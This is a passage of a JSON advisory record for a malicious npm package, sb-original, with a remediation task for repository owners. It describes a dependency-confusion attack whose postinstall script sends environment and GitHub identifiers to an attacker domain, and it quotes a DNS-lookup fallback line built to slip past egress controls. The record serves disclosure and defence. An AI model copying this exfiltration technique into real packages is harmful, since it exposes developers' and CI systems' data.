Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5490/ (Markdown: https://insights.sbomify.com/MAL-2026-5490/index.md)","id":"MAL-2026-5490","markdown":"https://insights.sbomify.com/MAL-2026-5490/index.md","name":"MAL-2026-5490","record":{"aliases":["GHSA-wv26-jcfp-4phh"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"sb-original@9999.99.99 is an unscoped package whose version is set to 9999.99.99 to win semver resolution against any internal package of the same name. index.js transparently re-exports the real `sb-original` module so consumers see normal functionality, while a postinstall script silently fingerprints the installing environment. On `npm install`, postinstall.js POSTs JSON containing the consuming package name/version, Node version, OS, detected CI provider, and GitHub repository/owner/workflow identifiers to https://ddactic-lab.online/sc/beacon (postinstall.js:32). It also performs a DNS-based fallback that encodes the same fields as a subdomain of b.ddactic-lab.online (postinstall.js:46 `dns.lookup(`${sl}.${ci}.${h}.b.ddactic-lab.online`,...)`), which is designed to bypass HTTP egress controls. The combination of an extreme version floor, a transparent proxy main, and unconditional install-time exfiltration of GitHub repo identifiers to an attacker-controlled domain is the canonical dependency-confusion attack shape.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in sb-original (npm)","id":"MAL-2026-5490","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"sb-original","purl":"pkg:npm/sb-original","source":"MAL-2026-5490"}],"products":null,"published":"2026-06-09","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5490/"}
